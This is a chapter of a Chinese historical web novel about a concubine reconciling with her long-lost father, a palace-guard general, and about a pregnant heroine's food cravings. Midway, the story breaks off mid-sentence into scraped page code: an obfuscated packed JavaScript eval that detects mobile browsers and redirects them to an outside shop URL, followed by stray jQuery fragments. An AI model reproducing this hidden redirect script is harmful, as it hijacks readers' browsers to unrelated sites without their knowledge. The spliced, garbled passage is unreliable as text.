崔烟并没有立刻回答。
很显然她心里有着别的顾虑。
姜挽月也没有催促。
崔烟纠结了许久才开口。
“我只是担心,要是相认了,会不会给他和王爷带来麻烦?我听说禁军统领的位置很重要,是皇上的亲信,不能偏心。万一皇上因此疑心了可怎么办?”
姜挽月没想到崔烟会想到这些,一时有些讶然。
看来,崔烟也不是不问外事,她心里对靖王的处境也担忧。
虽说靖王如今看似占据了优势,但毕竟皇帝还在,太子之位也还空悬着,担心也是正常。
就算是姜挽月知道前世靖王最后登基,有时也会有些焦虑。
但她对靖王还是很有信心的。
于是,姜挽月拉着崔烟劝了起来。
“姐姐其实不必顾虑那么多,你想啊!既然是王爷带你去见的朱将军,那王爷肯定早已经考虑到了的。王爷不说,那肯定是有办法了,姐姐你说对不对?”
“而且,朱将军这么多年都没有再娶,也没有别的孩子,姐姐是他唯一的孩子了,难道忍心见他一直孤苦吗?”
听到这,崔烟心神一颤,眼眶都红了。
她忍不住抬手拭着眼角。
“妹妹,不瞒你说,我原先其实是有些怀疑的。我一直都以为我没别的家人了,突然冒出来一个人说是我爹……万一是假的呢?万一认错了呢?万一他有所图呢?那我好不容易找回的家人,岂不是就没了?这叫我难以接受。”
崔烟紧紧抓着姜挽月的胳膊,眼底那一丝惶恐,是那么清晰。
姜挽月沉默着拍了拍她的背。
“就算是认错了,姐姐也还有我们,还有吟儿。”
崔烟浑身一颤,眼泪不受控制地流了下来。
她又哭又笑,形容狼狈,可脸上却多了一分释然。
“你说的对,我还有吟儿……还有妹妹你。”
她伸手抱了抱姜挽月。
这一刻,姜挽月能感受到她是真心把自己当成了家人。
对姜挽月来说,家人是底气,是根源,是从小护着她长大的人。
但对崔烟来说,家人……其实从来就只有她哥哥一个。
崔云去世后,她虽然跟了靖王,入了王府,还有了孩子,可心里其实并没有把靖王府当成是家。
她记忆中的家,是边关那个小小的,有些杂乱,简单又温馨的家。
可她知道,自己回不去了。
在王府这几年,她有了两个孩子,渐渐心安定了下来。
可没多久,她又失去了儿子。
接连失去亲人,让她倍感痛苦。
正是因为知道失去的痛苦,所以对于突然冒出来的亲生父亲,崔烟茫然又退缩。
听着姜挽月的安慰,崔烟总算是能接受了。
她很快就收了眼泪,有些郝然地向姜挽月道了声歉。
“对不住,妹妹你怀着身孕,我还拿这些琐事麻烦你。”
姜挽月笑了起来。
“这怎么能叫琐事呢?姐姐信任我,我很开心。”
两人又坐了会儿,看着天色不早了,崔烟才起身离去。
不过,她没有急着认祖归宗,还是担心认亲会让皇帝忌惮。朱之温知道她的担忧后,觉得女儿懂事,他既宽慰又心酸。
好不容易找回了女儿,他满腔的老父心思都遏制不住,只想着弥补这十几年来的亏欠。
要不是当初他识人不清,也不会害得两个孩子流落在外那么久,让他们吃了那么多的苦,也不至于让女儿做了靖王的妾。
侧妃虽说能上玉牒,听起来好听,那也是妾。
朱之温自己和夫人是感情极深的,他这辈子就这么一个妻子,别说妾了,连通房都没有过。别人或许会觉得女儿当了侧妃是荣耀,可朱之温只觉得女儿委屈。
再得知儿子的死后,朱之温对靖王就难免多了几分埋怨。
他趁着休沐,去了儿子的坟前祭奠,提出了迁坟的事。
靖王自然不会阻拦,只是说等大事定了之后再做。
至于这大事指的是什么,不用他说,朱之温也知道。
他沉默了片刻,没有说什么,转身走了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13397594|141203||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
靖王看着他离去的背影,心下微松。
以朱之温的性子,没有出口驳斥怒骂他狼子野心,就算是默认同意了。
当然,靖王没打算让朱之温做什么,只要禁军统领这个人是自己人,对他来说就已立于不败之地。
至于崔烟那边,虽说还没正式相认,但每天都能收到朱之温送来的东西。
有时是一些日常用物,有时是老家的吃食,有时则是朱夫人生前喜欢的东西,有时候不送东西,写封信来问问女儿和外孙女的近况。
当然,他写的信、送的东西,都是小心再小心,不会让人查到他头上,就连信上的字迹,都特意换过的,与他平日的字迹迥异。
崔烟对于其他东西不怎么热衷,只对她娘的东西格外在意,便回信询问她娘从前的喜好,日常的习惯等等。
一来二去,父女俩总算是慢慢熟悉了起来。
崔烟在姜挽月面前再提起朱之温时
,也不再是先前的样子,而是一口一个“我爹”,听得姜挽月低笑不已。
事情顺利,姜挽月心情愉悦,胃口也好了不少。
不过,也是因为最近天气凉爽,不那么热了,她的食欲就回来了。
秋季本该是食蟹的季节,但螃蟹性寒,她怀着身孕不能吃,只能忍着,偶尔吃两口赛螃蟹解馋。
赛螃蟹虽然带着“螃蟹”两个字,其实用的是蛋,再怎么赛,也不是真螃蟹。
姜挽月馋得不行。
也不是她馋,是她肚子里的小东西馋。
她自己都没想到,这孩子前几个月怀得好好的,到最后这两个月了,突然给她闹幺蛾子。
有一回晚上,姜挽月睡着了梦见吃蟹,醒来后,委屈得不行,忍不住哭了起来。
把睡在旁边的绣春吓了魂飞魄散,还以为出什么大事了。
第二天崔烟过来,听说了这事,忍不住笑了起来。
“这是孩子想吃呢!也怪我,那天就不该跟你提这个。对了,我爹昨日让人送了些海鱼过来,我叫人送来给你尝尝?这其中有一种海鲈鱼,我尝着和蟹味道差不多。”